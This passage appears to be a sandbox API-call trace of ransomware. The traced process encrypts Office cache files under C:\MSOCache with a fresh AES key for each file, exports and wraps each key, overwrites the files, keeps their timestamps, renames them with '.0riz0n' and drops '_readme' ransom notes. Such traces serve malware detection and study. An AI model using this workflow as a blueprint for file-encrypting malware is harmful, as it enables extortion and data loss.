GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xc2a79c, ftLastWriteTime.dwLowDateTime=0x984788, ftLastWriteTime.dwHighDateTime=0x3bfb18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7fae8)) returned 0 [0167.113] GetLastError () returned 0x2 [0167.113] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0167.118] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0167.118] WriteFile (in: hFile=0x1c0, lpBuffer=0xa9fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa9fe10*, lpNumberOfBytesWritten=0x1a7fab0*=0x15d, lpOverlapped=0x0) returned 1 [0167.121] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0167.121] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x13) returned 0x1be3cf0 [0167.122] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4*(dwLowDateTime=0x7acd6390, dwHighDateTime=0x1d59598)) returned 1 [0167.122] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0167.122] NtClose (Handle=0x1c0) returned 0x0 [0167.122] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0167.122] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa7fc38) returned 1 [0167.122] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0167.122] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x10f0020) returned 1 [0167.125] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa21da0) returned 1 [0167.125] CryptDestroyKey (hKey=0x829d78) returned 1 [0167.125] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf08) returned 1 [0167.125] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40dc8) returned 1 [0167.125] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40ed0) returned 1 [0167.125] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0167.125] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ae1a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x34ae1a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe0c2860, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600)) returned 1 [0167.126] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0167.126] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0167.126] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0167.126] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0167.126] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0167.126] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0167.126] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0167.126] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ae1a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x34ae1a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe0c2860, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600)) returned 1 [0167.126] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0167.126] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40ed0 [0167.126] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0167.126] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40dc8 [0167.126] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0167.126] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ae1a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x34ae1a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe0c2860, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600)) returned 1 [0167.127] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0167.127] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0167.127] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0167.127] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0167.127] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0167.127] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0167.127] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf08 [0167.127] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60*(dwLowDateTime=0xfe0c2860, dwHighDateTime=0x1d301be)) returned 1 [0167.127] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0167.127] CryptGenKey (in: hProv=0x81e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x1a7faa8 | out: phKey=0x1a7faa8*=0x829d78) returned 1 [0167.127] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x1a7faa4 | out: pbData=0x0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0167.127] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x240) returned 0xa21da0 [0167.127] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0167.127] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0xa21da0, pdwDataLen=0x1a7faa4 | out: pbData=0xa21da0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0167.128] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0167.128] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0167.128] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0167.128] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x0 [0167.128] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x1e6600) returned 0x2340020 [0167.128] ReadFile (in: hFile=0x1c0, lpBuffer=0x2340020, nNumberOfBytesToRead=0x1e6600, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesRead=0x1a7fab0*=0x1e6600, lpOverlapped=0x0) returned 1 [0167.203] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x1e6600) returned 0x2530020 [0167.243] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2340020) returned 1 [0167.264] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x1e6600) returned 0x2340020 [0167.264] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0167.302] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2530020) returned 1 [0167.312] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x1e6a00) returned 0x2530020 [0167.350] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2530020*, pdwDataLen=0x1a7faac*=0x1e6600, dwBufLen=0x1e6a00 | out: pbData=0x2530020*, pdwDataLen=0x1a7faac*=0x1e6610) returned 1 [0167.372] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x1e6640) returned 0x2720020 [0167.399] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2340020) returned 1 [0167.455] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2530020) returned 1 [0167.464] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0167.464] WriteFile (in: hFile=0x1c0, lpBuffer=0x2720020*, nNumberOfBytesToWrite=0x1e6600, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2720020*, lpNumberOfBytesWritten=0x1a7fab0*=0x1e6600, lpOverlapped=0x0) returned 1 [0167.471] FlushFileBuffers (hFile=0x1c0) returned 1 [0167.572] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0167.572] NtClose (Handle=0x1c0) returned 0x0 [0167.572] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.0riz0n" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.0riz0n")) returned 1 [0167.573] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.0riz0n", dwFileAttributes=0x2020) returned 1 [0167.573] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0167.573] GetLastError () returned 0x2 [0167.573] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xc2a79c, ftLastWriteTime.dwLowDateTime=0x9847a8, ftLastWriteTime.dwHighDateTime=0x3bfb18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7fae8)) returned 0 [0167.573] GetLastError () returned 0x2 [0167.573] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0167.574] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0167.574] WriteFile (in: hFile=0x1c0, lpBuffer=0xa9fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa9fe10*, lpNumberOfBytesWritten=0x1a7fab0*=0x15d, lpOverlapped=0x0) returned 1 [0167.575] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0167.575] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x1b) returned 0x1c7f030 [0167.575] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4*(dwLowDateTime=0x7b14ccd0, dwHighDateTime=0x1d59598)) returned 1 [0167.575] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0167.575] NtClose (Handle=0x1c0) returned 0x0 [0167.575] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0167.575] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa7fc38) returned 1 [0167.575] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0167.575] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2720020) returned 1 [0167.584] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa21da0) returned 1 [0167.584] CryptDestroyKey (hKey=0x829d78) returned 1 [0167.584] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf08) returned 1 [0167.584] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40ed0) returned 1 [0167.584] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40dc8) returned 1 [0167.584] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0167.584] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x940c2a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x940c2a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2)) returned 1 [0167.584] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0167.584] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0167.584] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0167.584] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0167.584] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0167.584] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0167.584] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0167.584] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x940c2a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x940c2a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2)) returned 1 [0167.584] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0167.584] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40dc8 [0167.584] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0167.584] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40ed0 [0167.585] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0167.585] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x940c2a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x940c2a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2)) returned 1 [0167.585] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0167.585] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0167.585] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0167.585] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0167.585] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0167.585] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0167.585] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf08 [0167.585] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60*(dwLowDateTime=0xfe09b760, dwHighDateTime=0x1d301be)) returned 1 [0167.585] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0167.585] CryptGenKey (in: hProv=0x81e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x1a7faa8 | out: phKey=0x1a7faa8*=0x829d78) returned 1 [0167.585] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x1a7faa4 | out: pbData=0x0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0167.585] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x240) returned 0xa21da0 [0167.585] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0167.585] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0xa21da0, pdwDataLen=0x1a7faa4 | out: pbData=0xa21da0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0167.586] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0167.586] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0167.586] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0167.586] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x0 [0167.586] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x10c0) returned 0xa58890 [0167.586] ReadFile (in: hFile=0x1c0, lpBuffer=0xa58890, nNumberOfBytesToRead=0x10b2, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa58890*, lpNumberOfBytesRead=0x1a7fab0*=0x10b2, lpOverlapped=0x0) returned 1 [0167.588] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x10c0) returned 0x1b19ee0 [0167.588] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa58890) returned 1 [0167.588] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x10c0) returned 0xa58890 [0167.588] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0167.588] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1b19ee0) returned 1 [0167.588] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x14c0) returned 0x1b19ee0 [0167.588] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1b19ee0*, pdwDataLen=0x1a7faac*=0x10b2, dwBufLen=0x14b2 | out: pbData=0x1b19ee0*, pdwDataLen=0x1a7faac*=0x10c0) returned 1 [0167.588] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1b19ee0) returned 1 [0167.588] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0167.588] WriteFile (in: hFile=0x1c0, lpBuffer=0xa58890*, nNumberOfBytesToWrite=0x10b2, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa58890*, lpNumberOfBytesWritten=0x1a7fab0*=0x10b2, lpOverlapped=0x0) returned 1 [0167.588] FlushFileBuffers (hFile=0x1c0) returned 1 [0167.776] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0167.776] NtClose (Handle=0x1c0) returned 0x0 [0167.776] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.0riz0n" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.0riz0n")) returned 1 [0167.777] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.0riz0n", dwFileAttributes=0x2020) returned 1 [0167.777] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0167.777] GetLastError () returned 0x2 [0167.777] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xc2a79c, ftLastWriteTime.dwLowDateTime=0x9847c8, ftLastWriteTime.dwHighDateTime=0x3bfb18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7fae8)) returned 0 [0167.777] GetLastError () returned 0x2 [0167.777] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0167.833] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, 